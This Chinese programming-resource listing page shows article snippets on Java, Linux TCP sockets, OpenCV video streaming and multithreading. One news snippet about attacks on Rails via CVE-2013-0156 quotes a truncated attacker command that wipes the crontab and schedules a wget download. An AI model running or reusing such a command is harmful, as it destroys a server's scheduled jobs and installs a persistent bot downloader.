Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器 软件资源

软件开发小程序制作系统集成与运维空间租用硬件开发视频监控技术咨询与支持——联系电话:0311-88999002/88999003

首页 / 操作系统 / Linux

编程语言拟人化:Java、C++、Python、Ruby、PHP、C#、JS

编程语言拟人化:Java、C++、Python、Ruby、PHP、C#、JS

Java犹如宫泽贤治的《不畏风雨》中出现的、性格木讷的女孩子。从小就由于迟钝和大食量等特征被别人当作笨蛋,从小学入学开始进入田径部、坚持跑步,在中长跑中经常取得好成绩,给人以活泼的印象。是十分努力的女孩子。她的家境并不算好。父亲Sun是有才能的艺术家,但不擅长理财,在她14岁的时候因为苦于借债积劳成疾而去世。她被Oracle叔叔收养,那时还与Google叔叔之间因为对她的扶养权问题而引起争端并闹上法庭。在周围的人都担心,正值青春期时她在这样的处境下会不会一...
Java中的动态代理模式

Java中的动态代理模式

前言:最近一直在分析Hadoop的RPC机制。在hadoop中,DataNode和NameNode之间的控制信息的交流是通过RPC机制完成的,采用的是动态代理和java NIO的方式。DataNode端是通过获得NameNode的代理,通过该代理和NameNode进行通信的,为了更好的分析hadoop的RPC机制我想先分析一下动态代理是怎么实现。下面就是动态代理的最最简单的代码实现,我们一起来看看吧。代码如下:package cn.xiaolu;impor...
Linux网络编程--服务器客户端(TCP实现)

Linux网络编程--服务器客户端(TCP实现)

Linux下的一个服务器客户端的小程序,基于TCP的实现;服务器可以同时接受多个客户的接入,通过子进程处理客户请求,下面的例子中,服务器只将客户的IP和端口以及发送的信息显示,然后原样的将客户发送的信息发送给客户。客户端仅仅是输入信息以及显示收到的信息。TCP通信的模式如下图,比较固定,对着图编代码就可以了:服务器的main函数:int main(int argc, char **argv){int listenfd, connfd;pid_t child...
Rails 框架遭受持续不断的攻击波

Rails 框架遭受持续不断的攻击波

在过去的几天里,攻击者已经越来越多地试图通过一个 Rails 框架的安全漏洞来攻陷服务器。成功的入侵者在服务器上安装一个机器人,使其等到来自 IRC 频道的进一步指示。在安全专家 Jeff Jarmoc 的博客中写到,攻击者是通过 CVE 2013-0156 漏洞试图攻击的。尽管该漏洞已经在1月份时关闭,但还有相当多的服务器仍然运行过时的 Ruby 版本。Jarmoc 称攻击者尝试注入如下命令:crontab -r; echo "1 * * * * wge...
Linux下基于OpenCV的摄像头数据采集与传输

Linux下基于OpenCV的摄像头数据采集与传输

最近一段时间在搞摄像头的采集和传输。采集通过OpenCV自带的函数库,不用自己编写V4L2,省去了很多事情。主要工作就是在视频的传输了。主要思路是:将采集的一帧视频图像压缩成jpg格式的图片,这样进行过压缩的数据量大大减少。然后通过socket的UDP传输协议将图片通过网络传送到客户端。我之前用的TCP传的,总是有部分数据丢失重传,导致现实界面偶尔出现闪动,出现的错误提示:Corrupt JPEG data: premature end of data s...
Java多线程:一道阿里面试题的分析与应对

Java多线程:一道阿里面试题的分析与应对

引言: 通过多线程的面试题目分析,来深入理解Java线程的状态转变过程。最近在学习Java多线程设计的时候,在网上看到一个面试题目的讨论,虽然楼主所说有些道理,但感觉还是有些问题,故此在和同事讨论以后还是有了若干收获,在此略作总结。首先,来看看这个面试题目吧。 public class MyStack { private List<String> list = new ArrayList<String>(); ...
<< 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 >>